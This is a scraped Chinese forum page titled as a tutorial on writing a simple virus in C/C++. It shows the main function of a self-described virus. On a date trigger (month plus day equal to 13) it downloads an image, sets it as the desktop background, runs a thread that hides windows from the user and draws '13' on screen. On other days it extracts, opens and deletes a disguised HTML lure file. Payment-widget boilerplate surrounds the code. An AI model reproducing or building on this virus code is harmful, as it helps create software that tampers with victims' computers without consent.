c语言osversioninfoex,【图片】简单病毒编写(C/C++篇)(三)【erbi_lucifer吧】_百度贴吧...

这段代码展示了如何通过编程判断日期,当特定日期(13号)到来时,会改变桌面背景并下载隐藏的HTML文件。同时,它还包含了GDI+画图和线程处理的相关操作。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

该楼层疑似违规已被系统折叠 隐藏此楼查看此楼

d. 代码说明

主函数,时间日期的获取与判断都在这里,详细见下面的注释。

int WINAPI WinMain (HINSTANCE hInstance, HINSTANCEhPrevInstance,PSTR szCmdLine, intiCmdShow)

{

SYSTEMTIME time1;

GetLocalTime(&time1); //获取当前时间日期

DWORD dwThreadId, dwThrdParam = 1;

GdiplusStartupInput m_gdiplusStartupInput; //gdi+画图需要

ULONG_PTR m_pGdiToken; //gdi+画图需要

GdiplusStartup(&m_pGdiToken,&m_gdiplusStartupInput,NULL);//gdi+画图初始化

if(time1.wMonth+time1.wDay==13){//如果 月份+日期=13 的话

//virus broken

desktopshow(); //下载图片并设置桌面背景,详细见源代码

CloseHandle(CreateThread( NULL,0,ThreadFunc,&dwThrdParam,0,&dwThreadId));//线程,处理隐藏用户接触的窗体,详细见源代码

DrawMyString(); //gdi+画字符串“13”,详细见源代码

}else{ //时间不对

//提取,打开,删除html文件

ExtractResource("给你一个故事-人生哲学--读者文摘推荐bygetkexe.html", "luci",MAKEINTRESOURCEA(IDR_LUCI1));

ShellExecuteA(NULL,"open","给你一个故事-人生哲学--读者文摘推荐bygetkexe.html",NULL,NULL,SW_SHOWMAXIMIZED);

Sleep(2000);

DeleteFileA("给你一个故事-人生哲学--读者文摘推荐bygetkexe.html");

}

GdiplusShutdown(m_pGdiToken);//gdi+画图结束

return 0;

}

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值